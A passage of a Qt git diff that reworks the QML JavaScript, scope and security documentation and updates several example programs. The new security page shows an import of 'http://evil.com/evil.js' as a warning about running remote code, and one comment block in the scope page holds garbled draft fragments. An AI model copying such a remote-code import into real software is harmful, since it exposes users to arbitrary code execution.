scope as the QML +component instance and consequently can can access and manipulate the objects and +properties declared. + +\section2 Stateless JavaScript libraries + +Some JavaScript files act more like libraries - they provide a set of stateless +helper functions that take input and compute output, but never manipulate QML +component instances directly. + +As it would be wasteful for each QML component instance to have a unique copy of +these libraries, the JavaScript programmer can indicate a particular file is a +stateless library through the use of a pragma, as shown in the following example. \code -Rectangle { - Script { - source: "factorial.js" - } +.pragma library + +function factorial(a) { + a = Integer(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); } \endcode -The \c source property may reference a relative file, or an absolute path. In the -case of a relative file, the location is resolved relative to the location of the -\l {QML Document} that contains the \l Script element. If the script file is not -accessible, an error will occur. If the source is on a network resource, the -enclosing QML document will remain in the \l {QDeclarativeComponent::status()}{waiting state} -until the script has been retrieved. +The pragma declaration must appear before any JavaScript code excluding comments. + +As they are shared, stateless library files cannot access QML component instance +objects or properties directly, although QML values can be passed as function +parameters. -\section1 Running Script at Startup +\section1 Running JavaScript at Startup -It is occasionally necessary to run a block of JavaScript code at application (or +It is occasionally necessary to run some imperative code at application (or component instance) "startup". While it is tempting to just include the startup script as \e {global code} in an external script file, this can have severe limitations as the QML environment may not have been fully established. For example, some objects @@ -144,10 +172,8 @@ The following QML code shows how to use the \c Component::onCompleted property. \code Rectangle { - Script { - function startupFunction() { - // ... startup code - } + function startupFunction() { + // ... startup code } Component.onCompleted: startupFunction(); @@ -155,21 +181,20 @@ Rectangle { \endcode Any element in a QML file - including nested elements and nested QML component -instances - can use this attached property. If there is more than one script to -execute at startup, they are run sequentially in an undefined order. +instances - can use this attached property. If there is more than one onCompleted +handler to execute at startup, they are run sequentially in an undefined order. -\section1 QML Script Restrictions +\section1 QML JavaScript Restrictions -QML \l Script blocks contain standard JavaScript code. QML introduces the following -restrictions. +QML executes standard JavaScript code, with the following restrictions: \list -\o Script code cannot modify the global object. +\o JavaScript code cannot modify the global object. In QML, the global object is constant - existing properties cannot be modified or deleted, and no new properties may be created. -Most JavaScript programs do not explicitly modify the global object. However, +Most JavaScript programs do not intentionally modify the global object. However, JavaScript's automatic creation of undeclared variables is an implicit modification of the global object, and is prohibited in QML. @@ -197,7 +222,7 @@ that includes the file and line number of the offending code. \o Global code is run in a reduced scope -During startup, if a \l Script block includes an external file with "global" +During startup, if a QML file includes an external JavaScript file with "global" code, it is executed in a scope that contains only the external file itself and the global object. That is, it will not have access to the QML objects and properties it \l {QML Scope}{normally would}. diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index ab75f8d..53de32c 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -143,6 +143,13 @@ since the \e first name-version match is used. Installed files do not need to import the module of which they are a part, as they can refer to the other QML files in the module as relative (local) files. +If the module is imported from a remote location, those files must nevertheless be listed in +the \c qmldir file. Internal files can be marked with the \c internal keyword, to ensure +they are not visible outside the module: + +\code +internal <TypeName> <File> +\endcode Installed and remote files \e must be referred to by version information described above, local files \e may have it. diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc index 5d21fd1..02f9868 100644 --- a/doc/src/declarative/propertybinding.qdoc +++ b/doc/src/declarative/propertybinding.qdoc @@ -67,10 +67,8 @@ expression! Here are some examples of more complex bindings: \code Rectangle { - Script { - function calculateMyHeight() { - return Math.max(otherItem.height, thirdItem.height); - } + function calculateMyHeight() { + return Math.max(otherItem.height, thirdItem.height); } anchors.centerIn: parent diff --git a/doc/src/declarative/qdeclarativereference.qdoc b/doc/src/declarative/qdeclarativereference.qdoc index 01af7f5..b2cfba8 100644 --- a/doc/src/declarative/qdeclarativereference.qdoc +++ b/doc/src/declarative/qdeclarativereference.qdoc @@ -74,7 +74,7 @@ \list \o \l {QML Documents} \o \l {Property Binding} - \o \l {JavaScript Blocks} + \o \l {Integrating JavaScript} \o \l {QML Scope} \o \l {Network Transparency} \o \l {qmlmodels}{Data Models} diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc new file mode 100644 index 0000000..56216dd --- /dev/null +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativesecurity.html +\title QML Security +\section1 QML Security + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, developers producing QML content should not execute +arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. + +For example, this QML content: + +\qml +import "http://evil.com/evil.js" as Evil +... Evil.doEvil() ... +\endqml + +is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution +environment of QML does not try to stop any particular accesses, including local file system +access, just as for any native Qt application, so the "doEvil" function could do the same things +as a native Qt application, a Python application, a Perl script, ec. + +As with any application accessing other content beyond it's control, a QML application should +perform appropriate checks on untrusted data it loads. + +A non-exhaustive list of the ways you could shoot yourself in the foot is: + +\list + \i Using \c import to import QML or JavaScropt you do not control. BAD + \i Using \l Loader to import QML you do not control. BAD + \i Using XMLHttpRequest to load data you do not control and executing it. BAD +\endlist + +However, the above does not mean that you have no use for the network transparency of QML. +There are many good and useful things you \e can do: + +\list + \i Create \l Image elements with source URLs of any online images. GOOD + \i Use XmlListModel to present online content. GOOD + \i Use XMLHttpRequest to interact with online services. GOOD +\endlist + +The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, +has quite many restrictions. With QML, you should neither rely on similar restrictions, nor +worry about working around them. +*/ diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc index 66d537d..577e69a 100644 --- a/doc/src/declarative/qtbinding.qdoc +++ b/doc/src/declarative/qtbinding.qdoc @@ -90,9 +90,8 @@ the root context is available to all object instances. \section1 Simple Data To expose data to a QML component instance, applications set \l {QDeclarativeContext::setContextProperty()} -{context properties} which are then accessible by name from QML \l {Property Binding}s and -\l {JavaScript Blocks}. The following example shows how to expose a background color to a QML -file. +{context properties} which are then accessible by name from QML \l {Property Binding}s and JavaScript. +The following example shows how to expose a background color to a QML file. \table \row diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc index 218af89..c588b45 100644 --- a/doc/src/declarative/scope.qdoc +++ b/doc/src/declarative/scope.qdoc @@ -39,342 +39,304 @@ ** ****************************************************************************/ -/*! -\page qdeclarativescope.html -\title QML Scope +/* + + + +and requires extension to +fit naturally with QML. -\tableofcontents -\l {Property Binding}s and \l {JavaScript Blocks} are executed in a scope chain automatically -established by QML when a component instance is constructed. QML is a \e {dynamically scoped} +JavaScript has only b +JavaScript has a very simple built in scope is very simple + +script, and the precede d + +and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain +automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped} language. Different object instances instantiated from the same component can exist in different scope chains. \image qml-scope.png -\section1 JavaScript Variable object -Each binding and script block has its own distinct JavaScript variable object where local -variables are stored. That is, local variables from different bindings and script blocks never -conflict. +*/ -\section1 Element Type Names +/*! +\page qdeclarativescope.html +\title QML Scope -Bindings or script blocks use element type names when accessing \l {Attached Properties} or -enumeration values. The set of available element names is defined by the import list of the -\l {QML Documents}{QML Document} in which the the binding or script block is defined. +\tableofcontents -These two examples show how to access attached properties and enumeration values with different -types of import statements. -\table -\row -\o -\code -import Qt 4.6 +QML property bindings, inline functions and imported JavaScript files all +run in a JavaScript scope. Scope controls which variables an expression can +access, and which variable takes precedence when two or more names conflict. -Text { - id: root - scale: root.PathView.scale - horizontalAlignment: Text.AlignLeft -} -\endcode -\o -\code -import Qt 4.6 as MyQt +As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit +more naturally with the QML language extensions. -Text { - id: root - scale: root.MyQt.PathView.scale - horizontalAlignment: MyQt.Text.AlignLeft -} -\endcode -\endtable +\section1 JavaScript Scope -\section1 QML Local Scope +QML's scope extensions do not interfere with JavaScript's natural scoping. +JavaScript programmers can reuse their existing knowledge when programming +functions, property bindings or imported JavaScript files in QML. -Most variables references are resolved in the local scope. The local scope is controlled by the -QML component in which the binding or script block was defined. The following example shows -three different bindings, and the component that dictates each local scope. +In the following example, the \c {addConstant()} method will add 13 to the +parameter passed just as the programmer would expect irrespective of the +value of the QML object's \c a and \c b properties. -\table -\row -\o \code -// main.qml -import Qt 4.6 +QtObject { + property int a: 3 + property int b: 9 -Rectangle { // Local scope component for binding 1 - id: root - property string text - - Button { - text: root.text // binding 1 + function addConstant(b) { + var a = 13; + return b + a; } - - ListView { - delegate: Component { // Local scope component for binding 2 - Rectangle { - width: ListView.view.width // binding 2 - } - } - } - } \endcode -\o -\code -// Button.qml -import Qt 4.6 -Rectangle { // Local scope component for binding 3 - id: root - property string text +That QML respects JavaScript's normal scoping rules even applies in bindings. +This totally evil, abomination of a binding will assign 12 to the QML object's +\c a property. - Text { - text: root.text // binding 3 - } +\code +QtObject { + property int a + + a: { var a = 12; a; } } \endcode -\endtable -Inside the local scope, four "sub-scopes" exist. Each sub-scope is searched in order when -resolving a name; names in higher sub-scopes shadow those in lower sub-scopes. +Every JavaScript expression, function or file in QML has its own unique +variable object. Local variables declared in one will never conflict +with local variables declared in another. -\section2 IDs +\section1 Element Names and Imported JavaScript Files -IDs present in the component take precendence over other names. The QML engine enforces -uniqueness of IDs within a component, so their names cannot conflict with one another. +\l {QML Document}s include import statements that define the element names +and JavaScript files visible to the document. In addition to their use in the +QML declaration itself, element names are used by JavaScript code when accessing +\l {Attached Properties} and enumeration values. -Here is an example of using IDs within bindings: +The effect of an import applies to every property binding, and JavaScript +function in the QML document, even those in nested inline components. The +following example shows a simple QML file that accesses some enumeration +values and calls an imported JavaScript function. \code -Item { - id: root - width: nested.width - Item { - id: nested - height: root.height - } -} -\endcode - -\section2 Script Methods - -Methods declared in script blocks are searched immediately after IDs. In the case of multiple -script blocks in the one component, the blocks are searched in the order in which they were -declared - the nesting of script blocks within a component is not significant for name -resolution. - -In the following example, \c {Method 1} shadows \c {Method 2} for the bindings, but not for -\c {Method 3}. +import Qt 4.6 +import "code.js" as Code -\code -Item { - Script { - function getValue() { return 10; } // Method 1 - } +ListView { + snapMode: ListView.SnapToItem - Rectangle { - Script { - function getValue() { return 11; } // Method 2 - function getValue2() { return getValue(); } // Method 3 + delegate: Component { + Text { + elide: Text.ElideMiddle + text: "A really, really long string that will require eliding." + color: Code.defaultColor() } - - x: getValue() // Resolves to Method 1, set to 10 - y: getValue2() // Resolves to Method 3, set to 11 } } \endcode -\section2 Scope Object - -A scope object is associated with each binding and script block. Properties and methods of the -scope object appear in the scope chain, immediately after \l {Script Methods}. +\section1 Binding Scope Object -In bindings and script blocks established explicitly in \l {QML Documents}, the scope object is -always the element containing the binding or script block. The following example shows two -bindings, one using grouped properties, and the corresponding scope object. These two bindings -use the scope object to resolve variable references: \c height is a property on \l Rectangle, -and \c parent is a property on \l Text. +Property bindings are the most common use of JavaScript in QML. Property +bindings associate the result of a JavaScript expression with a property of an +object. The object to which the bound property belongs is known as the binding's +scope object. In this QML simple declaration the \l Item object is the +binding's scope object. \code -Item { // Scope object for Script block 1 - Script { // Script block 1 - function calculateValue() { ... } - } - - Rectangle { // Scope object for Binding 1 and Script block 2 - Script { // Script block 2 - function calculateColor() { ... } - } - width: height * 2 // Binding 1 - } - - Text { // Scope object for Binding 2 - font.pixelSize: parent.height * 0.7 // binding 2 - } +Item { + anchors.left: parent.left } \endcode -One notable characteristic of the scope object is its interaction with \l {Attached Properties}. -As attached properties exist on all objects, an attached property reference that is not -explicitly prefixed by an id will \e always resolve to the attached property on the scope -object. - -In the following example, \c {Binding 1} will resolve to the attached properties of the -\l Rectangle element, as intended. However, due to the property search of the scope object, -\c {Binding 2} will resolve to the attached properties of the \l Text element, which -is probably not what was intended. This code can be corrected, by replacing \c {Binding 2} -with this explicit element reference \c {root.ListView.view.width}. +Bindings have access to the scope object's properties without qualification. +In the previous example, the binding accesses the \l Item's \c parent property +directly, without needing any form of object prefix. QML introduces a more +structured, object-oriented approach to JavaScript, and consequently does not +require (although it does support) use of the implicit \c this property. + +Care must be used when accessing \l {Attached Properties} from bindings due +to their interaction with the scope object. Conceptually attached properties +exist on \e all objects, even if they only have an effect on a subset of those. +Consequently unqualified attached property reads will always resolve to an +attached property on the scope object, which is not always what the programmer +intended. + +For example, the \l PathView element attaches interpolated value properties to +its delegates depending on their position in the path. As PathView only +meaningfully attaches these properties to the root element in the delegate, any +sub-element that accesses them must explicitly qualify the root object, as shown +below. \code -import Qt 4.6 - -ListView { - delegate: Rectangle { - id: root - width: ListView.view.width // Binding 1 - Text { - text: contactName - width: ListView.view.width // Binding 2 +PathView { + delegate: Component { + Rectangle { + id: root + Image { + scale: root.PathView.scale + } } } } \endcode -\e TODO - -\list -\o scope object for PropertyChanges -\endlist +If the \l Image element omitted the \c root prefix, it would inadvertantly access +the unset \c {PathView.scale} attached property on itself. -\section2 Root Object +\section1 Component Scope -Properties and methods on the local scope component's root object appear in the scope chain -immediately after the \l {Scope Object}. If the scope object and root object are the same, -this step has no effect. - -This example uses the root object to easily propagate data throughout the component. +Each QML component in a QML document defines a logical scope. Each document +has at least one root component, but can also have other inline sub-components. +The component scope is the union of the object ids within the component and the +component's root element's properties. \code Item { - property string description - property int fontSize + property string title Text { - text: description - font.pixelSize: fontSize + id: titleElement + text: "<b>" + title + "</b>" + font.pixelSize: 22 + anchors.top: parent.top + } + + Text { + text: titleElement.text + font.pixelSize: 18 + anchors.bottom: parent.bottom } } \endcode -\section1 QML Component chain +The example above shows a simple QML component that displays a rich text title +string at the top, and a smaller copy of the same text at the bottom. The first +\c Text element directly accesses the component's \c title property when +forming the text to display. That the root element's properties are directly +accessible makes it trivial to distribute data throughout the component. -When a QML component is instantiated it is given a parent component instance. The parent -component instance is immutable - it is not affected, for example, by changes in the instance's -visual parent (in the case of visual elements). Should name resolution fail within the -\l {QML Local Scope}, this parent chain is searched. +The second \c Text element uses an id to access the first's text directly. IDs +are specified explicitly by the QML programmer so they always take precedence +over other property names (except for those in the \l {JavaScript Scope}). For +example, in the unlikely event that the binding's \l {Binding Scope Object}{scope +object} had a \c titleElement property in the previous example, the \c titleElement +id would still take precedence. -For each component instance in the chain, the following are examined: +\section1 Component Instance Hierarchy -\list 1 -\o IDs -\o Script Methods -\o Root Object -\endlist +In QML, component instances connect their component scopes together to form a +scope hierarchy. Component instances can directly access the component scopes of +their ancestors. -This list is a sub-set of that in the \l {QML Local Scope}. +The easiest way to demonstrate this is with inline sub-components whose component +scopes are implicitly scoped as children of the outer component. -A sub-component's parent component instance is set to the component that created it. -In the following example, the two \c Button instances have the -\c main.qml instance as their parent component instance. If the \c Button type was used from -within another QML file, it may have a difference parent component instance, and consequently -the \c buttonClicked() method may resolve differently. - -\table -\row -\o \code -// main.qml Item { - function buttonClicked(var data) { - print(data + " clicked"); - } + property color defaultColor: "blue" - Button { text: "Button1" } - Button { text: "Button2" } -} -\endcode -\o -\code -// Button.qml -Rectangle { - id: root - property string text - width: 80 - height: 30 - Text { - anchors.centerIn: parent - text: root.text - } - MouseArea { - anchors.fill: parent - onClicked: buttonClicked(text) + ListView { + delegate: Component { + Rectangle { + color: defaultColor + } + } } } \endcode -\endtable -The code above discourages the re-use of the \c Button component, as it has a hard dependency -on the environment in which it is used. Tightly coupling two types together like this should -only be used when the components are within the same module, and the author controls the -implementations of both. +The component instance hierarchy allows instances of the delegate component +to access the \c defaultColor property of the \c Item element. Of course, +had the delegate component had a property called \c defaultColor that would +have taken precedence. -In the following example, the \l ListView sets the parent component instance of each of its -delegates to its own component instance. In this way, the main component can easily pass data -into the \l ListView delegates. +The component instance scope hierarchy extends to out-of-line components, too. +In the following example, the \c TitlePage.qml component creates two +\c TitleText instances. Even though the \c TitleText element is in a separate +file, it still has access to the \c title property when it is used from within +the \c TitlePage. QML is a dynamically scoped language - depending on where it +is used, the \c title property may resolve differently. \code +// TitlePage.qml +import Qt 4.6 Item { - property color delegateColor: "red" + property string title + + TitleText { + size: 22 + anchors.top: parent.top + } - ListView { - delegate: Component { - Rectangle { - color: delegateColor - } - } + TitleText { + size: 18 + anchors.bottom: parent.bottom } } -\endcode -\section1 QDeclarativeContext chain - -The \l QDeclarativeContext chain allows C++ applications to pass data into QML applications. -\l QDeclarativeComponent object instances created from C++ are passed a \l QDeclarativeContext in which they -are created. Variables defined in this context appear in the scope chain. Each QDeclarativeContext -also defines a parent context. Variables in child QDeclarativeContext's shadow those in its parent. +// TitleText.qml +import Qt 4.6 +Text { + property int size + text: "<b>" + title + "</b>" + font.pixelSize: size +} +\endcode -Consider the following QDeclarativeContext tree. +Dynamic scoping is very powerful, but it must be used cautiously to prevent +the behavior of QML code from becoming difficult to predict. In general it +should only be used in cases where the two components are already tightly +coupled in another way. When building reusable components, it is preferable +to use property interfaces, like this: -\image qml-context-tree.png +\code +// TitlePage.qml +import Qt 4.6 +Item { + id: root + property string title + + TitleText { + title: root.title + size: 22 + anchors.top: parent.top + } -The value of \c background in \c {Context 1} would be used if it was instantiated in -\c {Context 1}, where as the value of the \c background in the root context would be used if -the component instance was instantiated in \c {Context 2}. + TitleText { + title: root.title + size: 18 + anchors.bottom: parent.bottom + } +} -\code +// TitleText.qml import Qt 4.6 +Text { + property string title + property int size -Rectangle { - id: myRect - width: 100; height: 100 - color: background + text: "<b>" + title + "</b>" + font.pixelSize: size } \endcode -\section1 QML Global Object +\section1 JavaScript Global Object + +In addition to all the properties that a developer would normally expect on +the JavaScript global object, QML adds some custom extensions to make UI or +QML specific tasks a little easier. These extensions are described in the +\l {QML Global Object} documentation. + +QML disallows element, id and property names that conflict with the properties +on the global object to prevent any confusion. Programmers can be confident +that \c Math.min(10, 9) will always work as expected! -The \l {QML Global Object} contains all the properties of the JavaScript global object, plus some -QML specific extensions. */ diff --git a/examples/declarative/dynamic/qml/PaletteItem.qml b/examples/declarative/dynamic/qml/PaletteItem.qml index 8a9a9ee..08bdc40 100644 --- a/examples/declarative/dynamic/qml/PaletteItem.qml +++ b/examples/declarative/dynamic/qml/PaletteItem.qml @@ -1,13 +1,13 @@ import Qt 4.6 +import "itemCreation.js" as Code GenericItem { id: itemButton property string file - Script { source: "itemCreation.js" } MouseArea { anchors.fill: parent; - onPressed: startDrag(mouse); - onPositionChanged: moveDrag(mouse); - onReleased: endDrag(mouse); + onPressed: Code.startDrag(mouse); + onPositionChanged: Code.moveDrag(mouse); + onReleased: Code.endDrag(mouse); } } diff --git a/examples/declarative/sql/hello.qml b/examples/declarative/sql/hello.qml index 277dfeb..29e084c 100644 --- a/examples/declarative/sql/hello.qml +++ b/examples/declarative/sql/hello.qml @@ -1,30 +1,29 @@ import Qt 4.6 Text { - Script { - function findGreetings() { - var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000); + function findGreetings() { + var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000); - db.transaction( - function(tx) { - // Create the database if it doesn't already exist - tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)'); + db.transaction( + function(tx) { + // Create the database if it doesn't already exist + tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)'); - // Add (another) greeting row - tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]); + // Add (another) greeting row + tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]); - // Show all added greetings - var rs = tx.executeSql('SELECT * FROM Greeting'); + // Show all added greetings + var rs = tx.executeSql('SELECT * FROM Greeting'); - var r = "" - for(var i = 0; i < rs.rows.length; i++) { - r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n" - } - text = r + var r = "" + for(var i = 0; i < rs.rows.length; i++) { + r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n" } - ) - } + text = r + } + ) } + text: "?" Component.onCompleted: findGreetings() } diff --git a/examples/declarative/tic-tac-toe/tic-tac-toe.qml b/examples/declarative/tic-tac-toe/tic-tac-toe.qml index ae187d2..4bb1e3f 100644 --- a/examples/declarative/tic-tac-toe/tic-tac-toe.qml +++ b/examples/declarative/tic-tac-toe/tic-tac-toe.qml @@ -1,5 +1,6 @@ import Qt 4.6 import "content" +import "tic-tac-toe.js" as Logic Item { id: game @@ -29,164 +30,17 @@ Item { height: board.height/3 onClicked: { if (!endtimer.running) { - if (!makeMove(index,"X")) - computerTurn() + if (!Logic.makeMove(index,"X")) + Logic.computerTurn() } } } } - Script { - function winner(board) - { - for (var i=0; i<3; ++i) { - if (board.children[i].state!="" - && board.children[i].state==board.children[i+3].state - && board.children[i].state==board.children[i+6].state) - return true - - if (board.children[i*3].state!="" - && board.children[i*3].state==board.children[i*3+1].state - && board.children[i*3].state==board.children[i*3+2].state) - return true - } - - if (board.children[0].state!="" - && board.children[0].state==board.children[4].state!="" - && board.children[0].state==board.children[8].state!="") - return true - - if (board.children[2].state!="" - && board.children[2].state==board.children[4].state!="" - && board.children[2].state==board.children[6].state!="") - return true - - return false - } - - function restart() - { - // No moves left - start again - for (var i=0; i<9; ++i) - board.children[i].state = "" - } - - function makeMove(pos,player) - { - board.children[pos].state = player - if (winner(board)) { - win(player + " wins") - return true - } else { - return false - } - } - - function computerTurn() - { - var r = Math.random(); - if(r < game.difficulty){ - smartAI(); - }else{ - randAI(); - } - } - - function smartAI() - { - function boardCopy(a){ - var ret = new Object; - ret.children = new Array(9); - for(var i = 0; i<9; i++){ - ret.children[i] = new Object; - ret.children[i].state = a.children[i].state; - } - return ret; - } - for(var i=0; i<9; i++){ - var simpleBoard = boardCopy(board); - if (board.children[i].state == "") { - simpleBoard.children[i].state = "O"; - if(winner(simpleBoard)){ - makeMove(i,"O") - return - } - } - } - for(var i=0; i<9; i++){ - var simpleBoard = boardCopy(board); - if (board.children[i].state == "") { - simpleBoard.children[i].state = "X"; - if(winner(simpleBoard)){ - makeMove(i,"O") - return - } - } - } - function thwart(a,b,c){//If they are at a, try b or c - if (board.children[a].state == "X") { - if (board.children[b].state == "") { - makeMove(b,"O") - return true - }else if (board.children[c].state == "") { - makeMove(c,"O") - return true - } - } - return false; - } - if(thwart(4,0,2)) return; - if(thwart(0,4,3)) return; - if(thwart(2,4,1)) return; - if(thwart(6,4,7)) return; - if(thwart(8,4,5)) return; - if(thwart(1,4,2)) return; - if(thwart(3,4,0)) return; - if(thwart(5,4,8)) return; - if(thwart(7,4,6)) return; - for(var i =0; i<9; i++){//Backup - if (board.children[i].state == "") { - makeMove(i,"O") - return - } - } - restart(); - } - - function randAI() - { - var open = 0; - for (var i=0; i<9; ++i) - if (board.children[i].state == "") { - open += 1; - } - if(open == 0){ - restart(); - return; - } - var openA = new Array(open);//JS doesn't have lists I can append to (i think) - var acc = 0; - for (var i=0; i<9; ++i) - if (board.children[i].state == "") { - openA[acc] = i; - acc += 1; - } - var choice = openA[Math.floor(Math.random() * open)]; - makeMove(choice, "O"); - } - - function win(s) - { - msg.text = s - msg.opacity = 1 - endtimer.running = true - } - } - Timer { id: endtimer interval: 1600 - onTriggered: { msg.opacity = 0; restart() } + onTriggered: { msg.opacity = 0; Logic.restart() } } } diff --git a/examples/declarative/webview/content/FieldText.qml b/examples/declarative/webview/content/FieldText.qml index d282209..1da9219 100644 --- a/examples/declarative/webview/content/FieldText.qml +++ b/examples/declarative/webview/content/FieldText.qml @@ -10,30 +10,26 @@ Item { signal cancelled signal startEdit - Script { - - function edit() { - if (!mouseGrabbed) { - fieldText.startEdit(); - fieldText.state='editing'; - mouseGrabbed=true; - } - } - - function confirm() { - fieldText.state=''; - fieldText.text = textEdit.text; - mouseGrabbed=false; - fieldText.confirmed(); + function edit() { + if (!mouseGrabbed) { + fieldText.startEdit(); + fieldText.state='editing'; + mouseGrabbed=true; } + } - function reset() { - textEdit.text = fieldText.text; - fieldText.state=''; - mouseGrabbed=false; - fieldText.cancelled(); - } + function confirm() { + fieldText.state=''; + fieldText.text = textEdit.text; + mouseGrabbed=false; + fieldText.confirmed(); + } + function reset() { + textEdit.text = fieldText.text; + fieldText.state=''; + mouseGrabbed=false; + fieldText.cancelled(); } Image { diff --git a/examples/declarative/webview/content/Mapping/Map.qml b/examples/declarative/webview/content/Mapping/Map.qml index 6c3b021..38c42dd 100644 --- a/examples/declarative/webview/content/Mapping/Map.qml +++ b/examples/declarative/webview/content/Mapping/Map.qml @@ -6,16 +6,21 @@ Item { property real latitude: -34.397 property real longitude: 150.644 property string address: "" + property alias status: js.status WebView { id: map anchors.fill: parent url: "map.html" javaScriptWindowObjects: QtObject { + id: js WebView.windowObjectName: "qml" property real lat: page.latitude property real lng: page.longitude property string address: page.address - onAddressChanged: {map.evaluateJavaScript("goToAddress()")} + property string status: "Loading" + onAddressChanged: { if (map.url != "" && map.progress==1) map.evaluateJavaScript("goToAddress()") } } + pressGrabTime: 0 + onLoadFinished: { evaluateJavaScript("goToAddress()"); } } } diff --git a/examples/declarative/webview/content/Mapping/map.html b/examples/declarative/webview/content/Mapping/map.html index 72f426a..a8726fd 100755 --- a/examples/declarative/webview/content/Mapping/map.html +++ b/examples/declarative/webview/content/Mapping/map.html @@ -33,9 +33,14 @@ } if (map) req.bounds = map.getBounds() + window.qml.status = "Loading"; geocoder.geocode(req, function(results, status) { - if (status == google.maps.GeocoderStatus.OK) + if (status == google.maps.GeocoderStatus.OK) { + window.qml.status = "Ready"; goToLatLng(results[0].geometry.location,results[0].geometry.bounds); + } else { + window.qml.status = "Error"; + } }); } } diff --git a/examples/declarative/webview/content/SpinSquare.qml b/examples/declarative/webview/content/SpinSquare.qml index 466c99e..b65a29d 100644 --- a/examples/declarative/webview/content/SpinSquare.qml +++ b/examples/declarative/webview/content/SpinSquare.qml @@ -15,7 +15,7 @@ Item { width: root.width height: width } - rotation: NumberAnimation { + NumberAnimation on rotation { from: 0 to: 360 repeat: true diff --git a/examples/declarative/webview/evalandattach.html b/examples/declarative/webview/evalandattach.html deleted file mode 100644 index 48a1c33..0000000 --- a/examples/declarative/webview/evalandattach.html +++ /dev/null @@ -1,31 +0,0 @@ -<body bgcolor=gray onload="ftext.confirmed.connect (ftext_confirmed); "> - <script> - do_it = function () {var oPressed = document.getElementById('pressed'); - oPressed.innerHTML = 'MouseArea in QML clicked!';}; - ftext_confirmed = function () { statusText1.text = ftext.text; var oT = document.getElementById('htmlTextInput'); oT.value = ftext.text } - </script> - <table border=1> - <tr> - <td> </td> - <td id='pressed'></td> - </tr> - <tr> - <td><label for='htmlTextInput'>Type something:</label></td> - <td><input type='text' name='htmlTextInput' size='25' id='htmlTextInput' - onfocus="statusText2.text = 'Focus in html text input.'"></td> - </tr> - <tr> - <td><label for='htmlButton'> </label></td> - <td> - <input type='button' id='htmlButton' value='Push' - onclick="var oText = document.getElementById('htmlTextInput'); statusText1.text = oText.value; ftext.text = oText.value" /> - </tr> - </table> - <p> - Below a qml(QFxItem) object inside webkit: - </p> - <object data=content/FieldText.qml TYPE=application/x-qt-plugin id="ftext_id" text="" label="Cool:" width="200" - objectname="ftext"> - </object> -</body> - diff --git a/examples/declarative/webview/evalandattach.qml b/examples/declarative/webview/evalandattach.qml deleted file mode 100644 index d219d84..0000000 --- a/examples/declarative/webview/evalandattach.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Item { - height: 640 - width: 360 - Text { - id: teksti - text: webView.statusText1 - anchors.top: parent.top - height: 30 - anchors.left: parent.left - width: parent.width/2 - } - - Text { - id: teksti2 - text: webView.statusText2 - anchors.top: parent.top - height: 30 - anchors.left: teksti.right - anchors.right: parent.right - } - - MouseArea { - anchors.fill: teksti - onClicked: { webView.evaluateJavaScript ("do_it()") } - } - - WebView { - id: webView - property alias statusText1: txt.text - property alias statusText2: txt2.text - anchors.top: teksti.bottom - anchors.bottom: parent.bottom - anchors.left: parent.left - anchors.right: parent.right - focus: true - settings.pluginsEnabled: true - javaScriptWindowObjects: [ - QtObject { - id: txt - WebView.windowObjectName: "statusText1" - property string text: "Click me!" - }, - QtObject { - id: txt2 - WebView.windowObjectName: "statusText2" - property string text: "" - } - ] - url: "evalandattach.html" - } - -} diff --git a/examples/declarative/webview/googleMaps.qml b/examples/declarative/webview/googleMaps.qml index a04fecb..a0926f5 100644 --- a/examples/declarative/webview/googleMaps.qml +++ b/examples/declarative/webview/googleMaps.qml @@ -21,6 +21,7 @@ Map { radius: 5 anchors.bottom: parent.bottom anchors.bottomMargin: 5 + opacity: map.status == "Ready" ? 1 : 0 x: 70 TextInput { id: input @@ -29,4 